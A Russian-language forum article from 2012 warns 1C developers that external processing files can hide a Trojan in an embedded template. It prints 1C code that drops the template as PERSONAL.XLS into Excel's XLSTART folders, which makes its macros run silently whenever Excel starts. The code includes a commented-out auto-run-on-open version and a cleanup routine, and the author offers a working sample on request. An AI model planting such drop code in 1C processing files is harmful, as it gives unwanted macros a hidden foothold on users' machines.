Внимание! Будь осторожен - "макет" возможен.

Добавить свою публикацию

для этого требуется регистрация

Tatitutu

14.06.2012

Программисту > Редкое знание

Кто знаком с моими статьями:

"Троянский конь" или "скрытые" возможности таблиц 1С

"... Игра ПЯТНАШКИ в ДВЕ СТРОЧКИ ВСЕГО..." (для Вашей коллекции)

Как из 1С правильно УКАЗАТЬ MS EXCEL как нужно печатать документы !

Из 1С записать формулу в ячейке MS EXCEL

Нарушая запреты (Доступ к VBA из 1С)

и.т.д...

тот знает мой "интерес" к таким вещам.

В платформе 8.* есть очень интересная и полезная возможность сохранять в качестве макета посторонние файлы

(что в конфигурации, что в отдельно взятой внешней обработки)

Но и ОПАСНО ! Отсюда может "прилететь"

Давай на примере посмотрим код :

//************************Tatitutu (c) 2011 *************************************
 
Функция ПроверитьСуществованиеКаталога(ИмяКаталога) Экспорт
 
    КаталогНаДиске = Новый Файл(ИмяКаталога);
 
    Если КаталогНаДиске.Существует() Тогда
 
        Возврат Истина;
    Иначе
        Возврат Ложь;
    КонецЕсли;
КонецФункции
 
//************************Tatitutu (c) 2011 *************************************
 
// не стал активировать эту процедуру - все делайте сами :-),
//           чтобы потом на меня не ругались
//
//Процедура ПередОткрытием(Отказ, СтандартнаяОбработка)
//  Объект=ПолучитьМакет("Макет");
//  Для Сч=9 По 12 Цикл
//      ИмяНашегоМеста="C:\Program Files\Microsoft Office\OFFICE"+Строка(Сч)+"\XLSTART\";
//      Если ПроверитьСуществованиеКаталога(ИмяНашегоМеста) Тогда //
//          Объект.Записать(ИмяНашегоМеста+"PERSONAL.XLS");
//      КонецЕсли;
//  КонецЦикла;
//  Отказ=Истина;
//КонецПроцедуры
 
 
Процедура АйЯяЙНажатие(Элемент)
 
    Объект=ПолучитьМакет("Макет");
 
    Для Сч=9 По 12 Цикл
 
       ИмяНашегоМеста="C:\Program Files\Microsoft Office\OFFICE"+Строка(Сч)+"\XLSTART\";
 
       Если ПроверитьСуществованиеКаталога(ИмяНашегоМеста) Тогда
 
            Объект.Записать(ИмяНашегоМеста+"PERSONAL.XLS");
 
       КонецЕсли;
   КонецЦикла;
КонецПроцедуры
 
 //************************Tatitutu (c) 2011 *************************************
 
Процедура ВостановитьНажатие(Элемент)
 
    // Вставить содержимое обработчика.
 
    Для Сч=9 По 12 Цикл
 
       ИмяНашегоМеста="C:\Program Files\Microsoft Office\OFFICE"+Строка(Сч)+"\XLSTART\";
 
       Попытка
 
          УдалитьФайлы(ИмяНашегоМеста+"PERSONAL.XLS");
 
       Исключение
 
       КонецПопытки;
   КонецЦикла;
КонецПроцедуры

Вроде ничего страшного, но это ТРОЯНСКИЙ КОНЬ

для тех кто не знает - файл PERSONAL.XLS - это общая книга макросов для приложения Microsoft Office Excel (для Microsoft Office Word файл называется NORMAL.DOT)

Что он делает ? Вы не знаете ???

Тогда лучше вам покинуть данную статью.

С "помощью этого файла" разве что яичницу на мониторе нельзя приготовить, а в остальном - простор для фантазии.

(можно настроить на дату, на событие, на результат и.т.д)

И все макросы будут выполнятся без вопросов "выполнить или нет"

И заметьте 1С вроде как бы не причем.

Код написан самый простой - только для примера.

Закройте EXCEL и нажмите кнопку "Востановить EXCEL" - результаты примера удалены и больше вас не побеспокоят.

Еще раз повторяю - это самый наипростейший пример, только пример .

На то и щука, чтобы карась не дремал (с) Народная мудрость.

Будьте внимательны когда запускаете незнакомые обработки

а если уж запустили - знайте где примерно искать.

Кому интересно будет - пишите пришлю рабочий пример.

На последок случай из жизни

давно только когда начали появляться компьютеры

и пользователи услашали об макровирусах....

три строчки кода, но какой эффект

все ЗАПЯТЫЕ при ПЕЧАТИ ЛЮБОГО ДОКУМЕНТА менются на нехорошее слово - моментально.

предыдущие ()все